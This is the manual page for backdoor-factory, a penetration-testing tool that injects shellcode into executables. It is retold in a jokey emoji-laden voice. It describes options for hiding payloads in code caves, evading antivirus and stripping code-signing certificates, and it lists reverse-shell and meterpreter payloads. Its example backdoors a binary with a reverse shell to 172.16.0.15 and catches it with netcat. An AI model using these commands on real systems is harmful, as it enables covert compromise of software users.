BACKDOOR-FACTORY(1)

📦 version 3.4.2, in ubuntu jammy, ubuntu noble

💖 BACKDOOR-FACTORY 💖

okay bestie, so this is the manual page for backdoor-factory, from the BACKDOOR-FACTORY(1) manual, and it's giving "security researcher but make it cute". May 2017 energy, but the facts? Immaculate. Let's go. 🦋

✨ NAME ✨

backdoor-factory — inject predefined or user-defined shellcode in binaries

like... it puts shellcode inside binaries. that's the whole vibe. 💅

🌸 SYNOPSIS 🌸

backdoor-factory [options]

no subcommands, no drama. just options, queen. 👑

💜 DESCRIPTION 💜

backdoor-factory patches executable binaries with the shellcode you want, and then it lets normal execution of the pre-patched state carry on. so the binary still does its little binary things, it just also does your thing now. main character behavior fr fr. ✨

This tool is for security professionals and researchers only. not a casual toy, bestie. 🚨

okay and here's the tea: this tool doesn't support relocatable ELF executables — that means ones compiled with the -fPIE option, which is the thing the Debian hardening requirements suggest (peep https://wiki.debian.org/Hardening). so no PIE, got it. 🥧❌

also, some binaries like ssh may not be caved correctly, while binaries like dolphin are — that's true at the time this man page was written. so it's a "your mileage may vary" situation, no cap. 💀

🎀 OPTIONS 🎀

  • -h, --help — shows this help message and then exits. simple, iconic.
  • -f FILE, --file=FILE — the file you want to backdoor. the chosen one. 🫶
  • -s SHELL, --shell=SHELL — the payloads available for use. use 'show' to see the payloads, bestie, they're right there.
  • -H HOST, --hostip=HOST — the IP of the C2 for reverse connections.
  • -P PORT, --port=PORT — the port to either connect back to (for reverse shells) or to listen on (for bind shells).
  • -J, --cave_jumping — pick this option if you wanna use code cave jumping to hide your shellcode even further inside the binary. sneaky sneaky. 🙈
  • -a, --add_new_section — forces a new section to be added to the exe. better success rate, but less AV avoidance. tradeoffs, bestie. 😭
  • -U SUPPLIED_SHELLCODE, --user_shellcode=SUPPLIED_SHELLCODE — user-supplied shellcode. make sure it matches the architecture you're targeting, or it's gonna be a whole mess. ⚠️
  • -c, --cave — the cave flag finds code caves that can be used for stashing shellcode. it prints all the code caves of a specific size. the -l flag can be used with this setting. 🕳️
  • -l SHELL_LEN, --shell_length=SHELL_LEN — for use with -c, to help find code caves of different sizes.
  • -o OUTPUT, --output-file=OUTPUT — the backdoor output file path. the parent dir(s) must exist, so like, make them first. 💅
  • -n NSECTION, --section=NSECTION — the new section name must be less than seven characters. seven. that's the limit. 😤
  • -d DIR, --directory=DIR — this is the location of the files you want to backdoor. you can make directory-of-file backdooring faster by forcing the attaching of a codecave to the exe with the -a setting.
  • -w, --change_access — this flag changes the section housing the codecave to RWE. sometimes that's necessary. enabled by default. if you disable it, the backdoor may fail. so like... maybe don't. 😬
  • -i, --injector — this command turns the backdoor factory into a hunt-and-shellcode-inject type of mechanism. edit the target settings in the injector module. 🎯
  • -u SUFFIX, --suffix=SUFFIX — for use with injector: places a suffix on the original file so it's easy to recover. thoughtful king behavior. 💖
  • -D, --delete_original — for use with the injector module. this command deletes the original file. not for use in production systems. (the author is not responsible for stupid uses.) 🗑️💀
  • -O DISK_OFFSET, --disk_offset=DISK_OFFSET — starting point on disk offset, in bytes. some authors wanna obfuscate their on-disk offset to dodge reverse engineering — if you find one of those files, use this flag, after you find the offset. 🔍
  • -S, --support_check — determines if the file is supported by BDF before backdooring it. use it by itself or with verbose. this check happens automatically if backdooring is attempted anyway. 🩺
  • -M, --cave-miner — future use: to help determine the smallest shellcode possible in a PE file. coming soon to a terminal near you. 🔮
  • -q, --no_banner — kills the banner. rip banner. 💐
  • -v, --verbose — for debug information output. loud and proud. 📢
  • -T IMAGE_TYPE, --image-type=IMAGE_TYPE — ALL, x86, or x64 type binaries only. Default=ALL.
  • -Z, --zero_cert — allows overwriting the pointer to the PE certificate table, effectively removing the certificate from the binary for all intents and purposes. bye cert. 👋
  • -R, --runas_admin — EXPERIMENTAL. checks the PE binaries for 'requestedExecutionLevel level="highestAvailable"'. if this string is in the binary, it must run as system/admin. if not in Support Check mode, it will attempt to patch highestAvailable into the manifest if the requestedExecutionLevel entry exists.
  • -L, --patch_dll — use this setting if you DON'T want to patch DLLs. it patches by default, so this is the "please stop" flag. 🙅
  • -F FAT_PRIORITY, --fat_priority=FAT_PRIORITY — for MACH-O format. if it's a fat file, this focuses on which arch to patch. default is x64. to force x86 use -F x86, to force both archs use -F ALL.
  • -B BEACON, --beacon=BEACON — for payloads that have the ability to beacon out, set the time in secs. ⏰
  • -m PATCH_METHOD, --patch-method=PATCH_METHOD — patching methods for PE files: 'manual', 'automatic', replace and onionduke.
  • -b SUPPLIED_BINARY, --user_malware=SUPPLIED_BINARY — for onionduke. provide your desired binary. 🧅
  • -X, --xp_mode — Default: DO NOT support XP legacy machines; use -X to support XP. by default the binary will crash on XP machines (e.g. sandboxes). 💥
  • -A, --idt_in_cave — EXPERIMENTAL. by default a new Import Directory Table is created in a new section; calling this flag puts it in a code cave instead. this can cause binary failure in some cases. test on target binaries first! ⚠️
  • -C, --code_sign — for those with codesigning certs wishing to sign PE binaries only. name your signing key and private key signingcert.cer and signingPrivateKey.pem respectively in the certs directory — it's up to you to obtain signing certs. ✍️
  • -p, --preprocess — to execute preprocessing scripts in the preprocess directory. 🧚

🌈 ABOUT THE SHELLCODES 🌈

there is various predefined shellcode in backdoor-factory. their availability depends on the target type (ELF32, ELF64, PE32...). the shellcodes list is defined below. 📋

💫 for all intel-based (x86 and x86_64 architecture)

  • reverse_shell_tcp
    • need: a remote host and port to be set
    • permits: remote shell access
  • delay_reverse_shell_tcp
    • need: a remote host and port to be set
    • permits: remote shell access
  • beaconing_reverse_shell_tcp
    • need: a beacon, a remote host and port to be set
    • permits: remote shell access
  • user_supplied_shellcode
    • need: a user-defined shellcode ready to inject
    • permits: depend on the shellcode

🐧 Linux specific shellcodes

  • reverse_tcp_stager
    • need:
    • permits:

🪟 Windows PE32 exe shellcodes

  • reverse_shell_tcp_inline
    • needs: a remote host and port to be set
    • permits: remote shell access
  • reverse_shell_tcp_stager_threaded
    • needs: a remote host and port to be set
    • permits: Inject the meterpreter server DLL via the Reflective Dll Injection payload
  • meterpreter_reverse_https_threaded
    • needs: a remote host and port to be set
    • permits: meterpreter over https transport
  • user_applied_shellcode_threaded
    • needs: a user-defined shellcode ready to inject
    • permits: depend on the shellcode
  • iat_reverse_tcp_inline
    • needs: a remote host and port to be set
    • permits:
  • iat_reverse_tcp_inline_threaded
    • needs: a remote host and port to be set
    • permits:
  • iat_reverse_tcp_stager_threaded
    • needs: a remote host and port to be set
    • permits: Inject the meterpreter server DLL via the Reflective Dll Injection payload
  • iat_user_applied_shellcode_threaded
    • needs: a user-defined shellcode ready to inject
    • permits: depend on the shellcode

🪟 Windows PE64 exe shellcodes

  • delay_reverse_shell_tcp
    • needs: a remote host and port to be set
    • permits: remote shell access
  • reverse_shell_tcp
    • needs: a remote host and port to be set
    • permits: remote shell access
  • beaconing_reverse_shell_tcp
    • needs: a beacon, a remote host and port to be set
    • permits: remote shell access
  • user_supplied_shellcode
    • needs: a user-defined shellcode ready to inject
    • permits: depend on the shellcode

⭐ EXAMPLES ⭐

example of cavecoding an ELF binary, by integrating a remote shell access through a remote TCP listener (e.g. netcat):

backdoor-factory -f /usr/bin/dolphin -H 172.16.0.15 -P 8080 -s reverse_shell_tcp

on the host behind the IP 172.16.0.15, start netcat in listen mode:

$ netcat -l 172.16.0.15 8080

on the target, start the backdoored binary: ./backdoored/dolphin

now, on the host 172.16.0.15, just use your shell. and that's it. you ate. 🔥

📜 HISTORY 📜

May 2017, originally compiled by Philippe Thierry (phil at reseau-libre dot com). 🫡

and that's the whole page, bestie! 💖 written by Philippe Thierry for the Backdoor-Factory Man Page, dated May 2017, sitting pretty in section BACKDOOR-FACTORY(1). go forth and be a responsible security professional, ily, mwah. 🎀🦋💅

📦 where this page comes from